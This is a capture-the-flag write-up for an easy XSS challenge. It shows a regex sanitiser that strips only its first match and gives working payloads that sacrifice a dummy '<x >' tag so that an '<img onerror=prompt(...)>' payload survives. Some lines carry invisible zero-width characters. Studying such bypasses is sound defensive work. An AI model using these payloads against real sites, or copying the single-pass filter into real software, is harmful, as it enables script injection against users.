← Back to Writeups
CUSTOMEasyWeb

Medium 2 - Regex Single Replacement Bypass

XESXOR9/10/20261 min read
#web#custom#easy#regex_single_replacement_bypas#sacrificial_pattern_injection

Medium 2 - Regex Single Replacement Bypass

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: regex_single_replacement_bypass, sacrificial_pattern_injection

Summary

XSS challenge from the sibearsxss series. The escape function uses regex to remove dangerous patterns, but the regex is applied only once (without the /g flag).

Medium 2 - Regex Single Replacement Bypass — Web Kids 2.0

Description

XSS challenge from the sibearsxss series. The escape function uses regex to remove dangerous patterns, but the regex is applied only once (without the /g flag).

URL: http://109.233.56.90:11659/xss/medium/2

Analysis

Escape function:

js
function escape(s) {
  s = s.replace(/(?:<[a-z\s]+>|on[\s\S]+=)/i, '');
  return s;
}

Regex breakdown:

  • (?:...) — non-capturing group
  • <[a-z\s]+> — HTML tag like <tag> or <tag > (letters and spaces)
  • | — OR
  • on[\s\S]+= — event handler like onclick=, onerror=, etc.
  • /i — case-insensitive
  • NO /g flag — only the FIRST match is replaced! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: The regex removes only the first match. If you send two XSS patterns, the first one will be removed, but the second one will remain.

Solution

Use a "sacrificial" pattern that will be removed by the regex, while the real XSS payload remains:

Payload:

html
<x >onerror=prompt("sibears")<img src=x onerror=prompt("sibears")>

How it works:

  1. Regex finds the first match: <x > (matches <[a-z\s]+>)
  2. <x > is removed
  3. Remaining: onerror=prompt("sibears")<img src=x onerror=prompt("sibears")>
  4. Regex is not applied again (no /g flag)
  5. <img src=x onerror=prompt("sibears")> remains and executes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative payload:

html
<a >x<img src=x onerror=prompt("sibears")>
  • <a > is removed as the first match
  • x<img src=x onerror=prompt("sibears")> remains ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍